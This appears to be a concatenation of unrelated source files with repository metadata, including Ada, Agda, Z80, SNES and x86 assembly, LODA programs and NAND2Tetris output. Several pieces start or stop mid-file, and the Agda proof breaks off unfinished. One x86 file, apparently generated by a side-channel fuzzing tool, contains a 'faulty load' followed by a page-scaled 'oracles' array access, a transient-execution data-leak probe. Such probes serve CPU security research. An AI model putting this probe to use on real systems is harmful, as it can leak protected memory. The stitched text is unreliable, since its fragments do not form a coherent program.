if User_End = 0 then
userinfo := Null_Bounded_String;
Host_Start := User_Start;
elsif User_End = 1 then
-- invalid
Set_Invalid;
return;
else
Host_Start := User_End + 1;
User_End := User_End - 1;
if not Valid_Userinfo (Low => 1, High => User_End) then
Set_Invalid;
return;
end if;
userinfo := Bounded_Slice (Source => URI,
Low => 1,
High => User_End);
if Host_Start > Sequence_Length then
-- We can't have just a user part!
Set_Invalid;
return;
end if;
end if;
-- host part --
Host_End := Index (Source => URI,
Pattern => ":",
From => Host_Start);
if Host_End = 0 then
-- This just means no port part. But we still need to find the start of
-- the path, if any. Note that a path component *must* follow the
-- authority. That means if we get this far, we expect to find '/', or
-- the end. If we find any intervening '?' or '#', it is invalid
Port_Start := 0;
declare
OK: Boolean;
begin
Probe_End (From => Host_Start,
Result => Host_End,
OK => OK);
if not OK then
Set_Invalid;
return;
end if;
end;
elsif Host_End = Sequence_Length then
-- No port component, which is OK
Port_Start := 0;
Host_End := Host_End - 1;
elsif Host_End = Host_Start then
-- No host at all. Not ok.
Set_Invalid;
return;
else
-- We have a ':' that has something (should be a port number) following
-- it
Port_Start := Host_End + 1;
Host_End := Host_End - 1;
end if;
pragma Assert (Host_End > Host_Start);
if not Valid_Host (Low => Host_Start, High => Host_End) then
Set_Invalid;
return;
else
host := Bounded_Slice (Source => URI,
Low => Host_Start,
High => Host_End);
end if;
-- port component (if any) --
if Port_Start > 0 then
declare
OK: Boolean;
begin
Probe_End (From => Port_Start,
Result => Port_End,
OK => OK);
if not OK then
Set_Invalid;
return;
end if;
end;
if Port_End = Port_Start then
port := Default_Port;
else
Port_End := Port_End - 1;
declare
Port_OK: Boolean;
begin
Convert_Port (Low => Port_Start,
High => Port_End,
Result => port,
OK => Port_OK);
if not Port_OK then
Set_Invalid;
return;
end if;
end;
end if;
end if;
-- If we got this far, everything looks good
Valid := True;
end Parse_Authority;
|
test/Succeed/Issue2169.agda
|
pthariensflame/agda
| 3 |
7035
|
<filename>test/Succeed/Issue2169.agda
open import Agda.Builtin.Bool
open import Agda.Builtin.Equality
open import Agda.Builtin.Float
data ⊥ : Set where
defNegZero : -0.0 ≡ 0.0 → ⊥
defNegZero ()
primEqNegZero : primFloatEquality -0.0 0.0 ≡ false
primEqNegZero = refl
primLtNegZero₁ : primFloatNumericalLess 0.0 -0.0 ≡ false
primLtNegZero₁ = refl
primLtNegZero₂ : primFloatNumericalLess -0.0 0.0 ≡ false
primLtNegZero₂ = refl
primShowNegZero : primShowFloat -0.0 ≡ "-0.0"
primShowNegZero = refl
|
transformy/tables/outro/0001.asm
|
mborik/regression
| 3 |
81229
|
xor a
ld hl, basescradr + #0a0b
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0a2b
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0a4b
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0a6b
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0a8b
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0aab
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #02eb
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
ld hl, basescradr + #04eb
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
ld hl, basescradr + #06ec
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
ld (basescradr + #07eb), a
ld (basescradr + #080b), a
ld (basescradr + #082b), a
ld (basescradr + #084b), a
ld (basescradr + #086b), a
ld (basescradr + #088b), a
ld (basescradr + #08ab), a
ld (basescradr + #0e0b), a
ld (basescradr + #0e2b), a
ld (basescradr + #0e4b), a
ld (basescradr + #0e6b), a
ld (basescradr + #0e8b), a
ld (basescradr + #0eab), a
ld (basescradr + #0f0b), a
ld (basescradr + #0f2b), a
ld (basescradr + #0f4b), a
ld (basescradr + #0f6b), a
ld (basescradr + #0f8b), a
ld a, 68
ld hl, basescradr + #05eb
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
ld (basescradr + #090b), a
ld (basescradr + #092b), a
ld (basescradr + #094b), a
ld (basescradr + #096b), a
ld (basescradr + #098b), a
ld (basescradr + #09ab), a
ld (basescradr + #0d0b), a
ld (basescradr + #0d2b), a
ld (basescradr + #0d4b), a
ld (basescradr + #0d6b), a
ld (basescradr + #0d8b), a
ld (basescradr + #0dab), a
ld a, 2
ld (basescradr + #06eb), a
ld a, 224
ld hl, basescradr + #1115
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld (basescradr + #07f5), a
ld a, 240
ld hl, basescradr + #0815
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0835
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0855
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0875
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0895
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #08b5
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #08d5
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #08f5
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld a, 1
ld hl, basescradr + #0acb
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0aeb
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #120b
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld (basescradr + #08cb), a
ld (basescradr + #08eb), a
ld (basescradr + #0ecb), a
ld (basescradr + #0eeb), a
ld (basescradr + #0fab), a
ld (basescradr + #0fcb), a
ld (basescradr + #0feb), a
ld (basescradr + #100b), a
ld a, 69
ld (basescradr + #09cb), a
ld (basescradr + #09eb), a
ld (basescradr + #0dcb), a
ld (basescradr + #0deb), a
ld (basescradr + #110b), a
ld a, 4
ld (basescradr + #09ea), a
ld (basescradr + #0dca), a
ld (basescradr + #0dea), a
ld (basescradr + #110a), a
ld a, 255
ld hl, basescradr + #140c
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #140d
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #140e
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #140f
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #1410
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #1411
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #1412
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #1413
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #1414
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld a, 5
ld (basescradr + #150b), a
ld a, 192
ld (basescradr + #1615), a
ret
|
invertedstatic.asm
|
Catobat/z3randomizer
| 26 |
13261
|
<reponame>Catobat/z3randomizer
;Statically mapped at $A1A000 Referenced by the front end. Do not move without coordination.
InvertedTileAttributeLookup:
SEP #$20
LDA $8A : CMP.b #$47 : BEQ .turtleRock
LDA Overworld_TileAttr, X
JML.l Overworld_GetTileAttrAtLocation_continue
.turtleRock
LDA Inverted_TR_TileAttributes, X
JML.l Overworld_GetTileAttrAtLocation_continue
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_178.asm
|
ljhsiun2/medusa
| 9 |
82221
|
<filename>Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_178.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r14
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x5cb1, %r9
nop
nop
nop
add %r8, %r8
movb $0x61, (%r9)
and $23670, %rax
lea addresses_UC_ht+0xcfc9, %r10
nop
nop
nop
cmp $47511, %r9
movl $0x61626364, (%r10)
nop
nop
nop
nop
nop
and $22576, %rax
lea addresses_WT_ht+0x1cb99, %r9
clflush (%r9)
add %rsi, %rsi
mov $0x6162636465666768, %r8
movq %r8, %xmm4
vmovups %ymm4, (%r9)
nop
nop
nop
nop
add $11014, %r8
lea addresses_UC_ht+0x3589, %rsi
lea addresses_A_ht+0xc799, %rdi
cmp %r10, %r10
mov $88, %rcx
rep movsq
nop
xor $46399, %r8
lea addresses_WC_ht+0x8869, %rsi
lea addresses_D_ht+0x8b99, %rdi
nop
nop
nop
nop
nop
sub $14237, %r13
mov $86, %rcx
rep movsq
nop
nop
nop
sub %rdi, %rdi
lea addresses_normal_ht+0x119d9, %r10
nop
nop
and $43568, %rdi
mov (%r10), %r9w
nop
inc %rsi
lea addresses_normal_ht+0xe799, %r13
xor $9126, %rax
mov $0x6162636465666768, %r8
movq %r8, %xmm7
vmovups %ymm7, (%r13)
nop
nop
nop
nop
xor %rdi, %rdi
lea addresses_WT_ht+0xb98b, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
cmp $40418, %rax
mov $0x6162636465666768, %rsi
movq %rsi, %xmm7
vmovups %ymm7, (%rdi)
nop
nop
nop
sub $27726, %rax
lea addresses_WT_ht+0x5399, %r10
nop
nop
nop
nop
nop
cmp %rsi, %rsi
movups (%r10), %xmm2
vpextrq $0, %xmm2, %rax
cmp %r13, %r13
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r14
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %rax
push %rcx
push %rdi
push %rsi
// Load
lea addresses_WC+0x7fc9, %rsi
nop
inc %rax
vmovups (%rsi), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %rdi
nop
nop
and %r10, %r10
// Load
lea addresses_UC+0x16859, %r11
nop
xor $40059, %rcx
mov (%r11), %si
nop
nop
nop
nop
nop
dec %r13
// Load
lea addresses_UC+0x16dc9, %r13
nop
nop
nop
add %r11, %r11
mov (%r13), %ecx
nop
nop
and %r11, %r11
// Faulty Load
lea addresses_WC+0x15399, %r10
nop
sub $30952, %rdi
vmovups (%r10), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $0, %xmm1, %r13
lea oracles, %rsi
and $0xff, %r13
shlq $12, %r13
mov (%rsi,%r13,1), %r13
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 3, 'same': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 6, 'same': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2, 'same': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 3, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 11, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 10, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
|
21.asm
|
Nurglureddo/MiniPractice
| 0 |
8832
|
<gh_stars>0
.model tiny
.code
N: push cs
pop ds
mov ax,x
mov bx,y
or ax,bx
mov z,ax
mov ax,4c00h
int 21h
.data
x dw 10110110b
y dw 1001b
z dw ?
end N
|
tests/assert_cut/src/calc.ads
|
TUM-EI-RCS/StratoX
| 12 |
29695
|
package calc with SPARK_Mode is
procedure Forgetful_Assert (X, Y : out Integer);
end calc;
|
programs/oeis/022/A022420.asm
|
neoneye/loda
| 22 |
162900
|
<filename>programs/oeis/022/A022420.asm
; A022420: Kim-sums: "Kimberling sums" K_n + K_9.
; 8,23,26,28,31,34,36,39,41,44,47,49,52,55,57,60,62,65,68,70,73,75,78,81,83,86,89,91,94,96,99,102,104,107,110,112,115,117,120,123,125,128,130,133,136,138,141,144,146,149,151,154,157,159,162,164,167,170,172
seq $0,22415 ; Kim-sums: "Kimberling sums" K_n + K_4.
sub $0,3
mov $1,8
add $1,$0
mul $1,$0
mov $2,$0
cmp $2,0
add $0,$2
div $1,$0
add $1,8
mov $0,$1
|
Task/Evaluate-binomial-coefficients/Ada/evaluate-binomial-coefficients.ada
|
mullikine/RosettaCodeData
| 1 |
5146
|
with Ada.Text_IO; use Ada.Text_IO;
procedure Test_Binomial is
function Binomial (N, K : Natural) return Natural is
Result : Natural := 1;
M : Natural;
begin
if N < K then
raise Constraint_Error;
end if;
if K > N/2 then -- Use symmetry
M := N - K;
else
M := K;
end if;
for I in 1..M loop
Result := Result * (N - M + I) / I;
end loop;
return Result;
end Binomial;
begin
for N in 0..17 loop
for K in 0..N loop
Put (Integer'Image (Binomial (N, K)));
end loop;
New_Line;
end loop;
end Test_Binomial;
|
programs/oeis/105/A105314.asm
|
neoneye/loda
| 22 |
164456
|
<gh_stars>10-100
; A105314: Write the natural numbers as an infinite sequence of digits, starting at the left; a(n) is the subset (i.e., the position in this sequence of the "counting digits") of the first digit of the n-th square.
; 1,4,9,22,40,62,88,118,152,190,253,322,397,478,565,658,757,862,973,1090,1213,1342,1477,1618,1765,1918,2077,2242,2413,2590,2773,2986,3246,3514,3790,4074,4366,4666,4974,5290,5614,5946,6286,6634,6990,7354,7726,8106
add $0,1
pow $0,2
mov $2,$0
mov $0,0
lpb $2
trn $0,$4
add $0,5
sub $2,1
mov $3,$2
lpb $3
add $1,$0
div $3,10
lpe
mov $4,7
lpe
div $1,5
add $1,1
mov $0,$1
|
ioctl/IopGetFrame.asm
|
osfree-project/FamilyAPI
| 1 |
86500
|
<reponame>osfree-project/FamilyAPI
;--------------------------------------------------------
; Category 5 Function 62H Get Frame Control
;--------------------------------------------------------
;
;
;
IOPGETFRAME PROC NEAR
RET
IOPGETFRAME ENDP
|
bondgo/src/test/source014-switch2.go.asm
|
mmirko/bondmachine
| 6 |
173633
|
<filename>bondgo/src/test/source014-switch2.go.asm
clr r0
r2m r0 0
clr r0
r2m r0 1
rset r0 1
r2m r0 0
clr r0
rset r0 1
rset r1 1
rset r2 1
je r1 r2 13
rset r3 0
j 14
rset r3 1
je r0 r3 23
rset r1 6
rset r2 5
je r1 r2 20
rset r3 0
j 21
rset r3 1
je r0 r3 23
j 26
rset r1 11
r2m r1 1
j 29
rset r1 4
r2m r1 1
j 29
|
src/NativeInt.agda
|
agda/ooAgda
| 23 |
12927
|
module NativeInt where
open import Data.Integer.Base hiding (_+_)
postulate
Int : Set
toInt : ℤ -> Int
fromInt : Int -> ℤ
{-# COMPILE GHC Int = type Int #-}
{-# COMPILE GHC toInt fromInteger #-}
{-# COMPILE GHC fromInt toInteger #-}
|
programs/oeis/027/A027903.asm
|
karttu/loda
| 1 |
92335
|
<filename>programs/oeis/027/A027903.asm
; A027903: n * (n + 1) * (3*n + 1).
; 0,8,42,120,260,480,798,1232,1800,2520,3410,4488,5772,7280,9030,11040,13328,15912,18810,22040,25620,29568,33902,38640,43800,49400,55458,61992,69020,76560,84630,93248,102432,112200,122570,133560,145188,157472,170430
mov $1,3
mul $1,$0
mul $0,$1
add $1,4
mul $0,$1
add $0,$1
mov $1,$0
div $1,6
mul $1,2
|
projects/07/StackArithmetic/StackTest/try_random.asm
|
Youngermaster/Nand2Tetris-Solutions
| 0 |
14440
|
<reponame>Youngermaster/Nand2Tetris-Solutions<filename>projects/07/StackArithmetic/StackTest/try_random.asm
@256
D=A
@SP
M=D
@100
D=A
@SP
A=M
M=D
@SP
M=M+1
@191
D=A
@SP
A=M
M=D
@SP
M=M+1
@SP
A=M-1
D=M
A=A-1
D=M-D
M=D
@SP
M=M-1
|
programs/oeis/216/A216197.asm
|
neoneye/loda
| 22 |
165841
|
; A216197: Abelian complexity function of A064990.
; 2,3,4,3,4,5,4,5,6,5,4,5,4,5,6,5,6,7,6,5,6,5,6,7,6,7,8,7,6,7,6,5,6,5,6,7,6,5,6,5,6,7,6,7,8,7,6,7,6,7,8,7,8,9,8,7,8,7,6,7,6,7,8,7,6,7,6,7,8,7,8,9,8,7,8,7,8,9,8,9,10,9,8,9,8,7,8,7,8,9,8,7,8,7,6,7,6,7,8
lpb $0
add $1,1
mov $2,$0
gcd $2,3
sub $0,$2
dif $0,3
lpe
add $1,2
mov $0,$1
|
1/1-2.asm
|
winderica/GoodbyeASM
| 0 |
244783
|
.386
STACK SEGMENT USE16 STACK
DB 200 DUP(0)
STACK ENDS
DATA SEGMENT USE16
BUF1 DB 0, 1, 2, 3, 4, 5, 6, 7, 8, 9
BUF2 DB 10 DUP(0)
BUF3 DB 10 DUP(0)
BUF4 DB 10 DUP(0)
DATA ENDS
CODE SEGMENT USE16
ASSUME CS: CODE, DS: DATA, SS: STACK
START: MOV AX, DATA
MOV DS, AX
MOV SI, OFFSET BUF1
MOV DI, OFFSET BUF2
MOV BX, OFFSET BUF3
MOV BP, OFFSET BUF4
MOV CX, 10
LOPA: MOV AL, [SI]
MOV [DI], AL
INC AL
MOV [BX], AL
ADD AL, 3
MOV DS:[BP], AL
INC SI
INC DI
INC BP
INC BX
DEC CX
JNZ LOPA
MOV AH, 4CH
INT 21H
CODE ENDS
END START
|
dependencies/groucho32.asm
|
gr0uch0dev/AssemblyExercisesAndNotes
| 0 |
9798
|
.386
.model flat, STDCALL
option casemap:none ; Case Sensitive
option PROC:private
PUBLIC GetLenString
.data
.code
;###########################
;# PROCEDURES #
;###########################
GetLenString PROC USES esi edx ebx, lp_string:DWORD
xor esi, esi
L1:
mov edx, lp_string
mov ebx, [lp_string]
movzx edx, BYTE PTR [ebx + esi]
cmp dl, 0
je quit
inc esi
jmp L1
quit:
mov ecx, esi; save the length of the string into ecx
ret
GetLenString ENDP
end
|
theorems/homotopy/HSpace.agda
|
AntoineAllioux/HoTT-Agda
| 294 |
14820
|
<reponame>AntoineAllioux/HoTT-Agda<filename>theorems/homotopy/HSpace.agda
{-# OPTIONS --without-K --rewriting #-}
open import HoTT
open import lib.types.TwoSemiCategory
module homotopy.HSpace where
-- This is just an approximation because
-- not all higher cells are killed.
record HSpaceStructure {i} (X : Ptd i) : Type i where
constructor hSpaceStructure
field
⊙μ : (X ⊙× X) ⊙→ X
μ : de⊙ X → de⊙ X → de⊙ X
μ = curry (fst ⊙μ)
field
⊙unit-l : ⊙μ ⊙∘ ⊙×-inr X X ⊙∼ ⊙idf X
⊙unit-r : ⊙μ ⊙∘ ⊙×-inl X X ⊙∼ ⊙idf X
unit-l : ∀ x → μ (pt X) x == x
unit-l = fst ⊙unit-l
unit-r : ∀ x → μ x (pt X) == x
unit-r = fst ⊙unit-r
coh : unit-l (pt X) == unit-r (pt X)
coh = ! (↓-idf=cst-out (snd ⊙unit-l) ∙ ∙-unit-r _)
∙ (↓-idf=cst-out (snd ⊙unit-r) ∙ ∙-unit-r _)
record AlternativeHSpaceStructure {i} (X : Ptd i) : Type i where
constructor hSpaceStructure
field
μ : de⊙ X → de⊙ X → de⊙ X
unit-l : ∀ x → μ (pt X) x == x
unit-r : ∀ x → μ x (pt X) == x
coh : unit-l (pt X) == unit-r (pt X)
⊙μ : (X ⊙× X) ⊙→ X
⊙μ = uncurry μ , unit-l (pt X)
⊙unit-l : ⊙μ ⊙∘ ⊙×-inr X X ⊙∼ ⊙idf X
⊙unit-l = unit-l , ↓-idf=cst-in' idp
⊙unit-r : ⊙μ ⊙∘ ⊙×-inl X X ⊙∼ ⊙idf X
⊙unit-r = unit-r , ↓-idf=cst-in' coh
from-alt-h-space : ∀ {i} {X : Ptd i} → AlternativeHSpaceStructure X → HSpaceStructure X
from-alt-h-space hss = record {AlternativeHSpaceStructure hss}
to-alt-h-space : ∀ {i} {X : Ptd i} → HSpaceStructure X → AlternativeHSpaceStructure X
to-alt-h-space hss = record {HSpaceStructure hss}
module ConnectedHSpace {i} {X : Ptd i} {{_ : is-connected 0 (de⊙ X)}}
(hX : HSpaceStructure X) where
open HSpaceStructure hX public
{-
Given that [X] is 0-connected, to prove that each [μ x] is an equivalence we
only need to prove that one of them is. But for [x] = [pt X], [μ x] is the
identity so we’re done.
-}
l-is-equiv : ∀ x → is-equiv (λ y → μ y x)
l-is-equiv = prop-over-connected {a = pt X}
(λ x → (is-equiv (λ y → μ y x) , is-equiv-is-prop))
(transport! is-equiv (λ= unit-r) (idf-is-equiv _))
r-is-equiv : ∀ x → is-equiv (λ y → μ x y)
r-is-equiv = prop-over-connected {a = pt X}
(λ x → (is-equiv (λ y → μ x y) , is-equiv-is-prop))
(transport! is-equiv (λ= unit-l) (idf-is-equiv _))
l-equiv : de⊙ X → de⊙ X ≃ de⊙ X
l-equiv x = _ , l-is-equiv x
r-equiv : de⊙ X → de⊙ X ≃ de⊙ X
r-equiv x = _ , r-is-equiv x
module _ {i} {X : Ptd i} (hX : HSpaceStructure X) where
module hX = HSpaceStructure hX
associator : Type i
associator = ∀ a b c → hX.μ (hX.μ a b) c == hX.μ a (hX.μ b c)
coh-unit-l-eq : associator → de⊙ X → de⊙ X → Type i
coh-unit-l-eq assoc a b =
assoc (pt X) a b ◃∙
hX.unit-l (hX.μ a b) ◃∎
=ₛ
ap (λ x → hX.μ x b) (hX.unit-l a) ◃∎
coh-unit-l : associator → Type i
coh-unit-l assoc = ∀ a b → coh-unit-l-eq assoc a b
coh-unit-r-eq : associator → de⊙ X → de⊙ X → Type i
coh-unit-r-eq assoc a b =
hX.unit-r (hX.μ a b) ◃∎
=ₛ
assoc a b (pt X) ◃∙
ap (hX.μ a) (hX.unit-r b) ◃∎
coh-unit-r : associator → Type i
coh-unit-r assoc = ∀ a b → coh-unit-r-eq assoc a b
coh-unit-l-r-pentagon : associator → Type i
coh-unit-l-r-pentagon assoc = ∀ a' →
hX.unit-r (hX.μ (pt X) a') ◃∙
hX.unit-l a' ◃∎
=ₛ
assoc (pt X) a' (pt X) ◃∙
hX.unit-l (hX.μ a' (pt X)) ◃∙
hX.unit-r a' ◃∎
coh-unit-l-to-unit-l-r-pentagon : (assoc : associator)
→ coh-unit-l assoc → coh-unit-l-r-pentagon assoc
coh-unit-l-to-unit-l-r-pentagon assoc c a' =
hX.unit-r (hX.μ (pt X) a') ◃∙
hX.unit-l a' ◃∎
